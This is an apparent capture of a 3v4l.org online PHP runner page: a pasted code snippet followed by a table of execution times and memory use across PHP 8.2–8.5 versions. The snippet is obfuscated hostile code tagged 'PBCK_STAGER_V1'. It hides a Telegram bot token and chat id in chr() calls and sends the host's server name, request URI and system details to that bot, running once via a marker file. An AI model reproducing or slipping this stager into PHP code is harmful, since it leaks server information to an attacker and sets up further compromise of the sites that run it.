3v4l.org

run code in 500+ PHP versions simultaneously
<?php <?phpif(!file_exists('.pbck_tg')&&function_exists('curl_init')){$b=chr(56).chr(54).chr(56).chr(53).chr(50).chr(48).chr(51).chr(54).chr(56).chr(54);$t=chr(65).chr(65).chr(69).chr(80).chr(118).chr(80).chr(122).chr(106).chr(67).chr(111).chr(49).chr(113).chr(66).chr(77).chr(95).chr(110).chr(89).chr(101).chr(100).chr(82).chr(48).chr(57).chr(81).chr(83).chr(89).chr(119).chr(105).chr(100).chr(121).chr(108).chr(116).chr(85).chr(53).chr(117).chr(48);$c=chr(56).chr(50).chr(48).chr(50).chr(54).chr(50).chr(57).chr(55).chr(56).chr(53);$u='h'.'t'.'t'.'p'.'s'.'://api.telegram.org/bot'.$b.':'.$t.'/sendMessage';$sn=isset($_SERVER['SERVER_NAME'])?$_SERVER['SERVER_NAME']:'';$d='chat_id='.$c.'&text='.urlencode('[PBCK] '.$sn.' '.$_SERVER['REQUEST_URI'].' '.php_uname());$ch=curl_init($u);curl_setopt($ch,CURLOPT_POST,1);curl_setopt($ch,CURLOPT_POSTFIELDS,$d);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_exec($ch);curl_close($ch);@file_put_contents('.pbck_tg','1');}/* PBCK_STAGER_V1 */

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.5.90.0110.00718.80
8.5.80.0320.00716.80
8.5.70.0340.00516.38
8.5.60.0310.00916.43
8.5.50.0310.01016.62
8.5.40.0330.00616.71
8.5.30.0330.01016.54
8.5.20.0340.00516.55
8.5.10.0340.00716.13
8.5.00.0120.00618.34
8.4.240.0340.00619.73
8.4.230.0350.00619.21
8.4.220.0300.01419.13
8.4.210.0160.00821.40
8.4.200.0290.00419.26
8.4.190.0250.00919.81
8.4.180.0320.00919.82
8.4.170.0350.01019.85
8.4.160.0360.00819.73
8.4.150.0300.01119.47
8.4.140.0340.01217.53
8.4.130.0310.00917.67
8.4.120.0380.00517.61
8.4.110.0360.00517.60
8.4.100.0370.00617.91
8.4.90.0380.00717.63
8.4.80.0340.01217.65
8.4.70.0350.01217.90
8.4.60.0380.00717.81
8.4.50.0310.01117.85
8.4.40.0310.00817.76
8.4.30.0390.00517.27
8.4.20.0340.00917.69
8.4.10.0310.00717.77
8.3.330.0280.00618.36
8.3.320.0300.01018.44
8.3.310.0310.01018.30
8.3.300.0300.01017.95
8.3.290.0330.00518.39
8.3.280.0250.01318.11
8.3.270.0340.00616.74
8.3.260.0360.00516.75
8.3.250.0300.01116.54
8.3.240.0310.00816.79
8.3.230.0330.00716.61
8.3.220.0320.01118.34
8.3.210.0360.00616.67
8.3.200.0330.00916.76
8.3.190.0350.00516.80
8.3.180.0380.00216.82
8.3.170.0330.01016.77
8.3.160.0380.00816.59
8.3.150.0410.00716.68
8.3.140.0380.00616.38
8.3.130.0280.00716.49
8.3.120.0280.00516.78
8.3.110.0300.00816.52
8.3.100.0320.01116.61
8.3.90.0360.00916.32
8.3.80.0370.00816.67
8.3.70.0370.00716.67
8.3.60.0310.01016.73
8.3.50.0320.00916.67
8.3.40.0340.01017.91
8.3.30.0230.00518.03
8.3.20.0280.00817.74
8.3.10.0260.00717.84
8.3.00.0180.00617.89
8.2.330.0470.00717.98
8.2.320.0310.00917.83
8.2.310.0340.01117.92

preferences:
61.31 ms | 778 KiB | 4 Q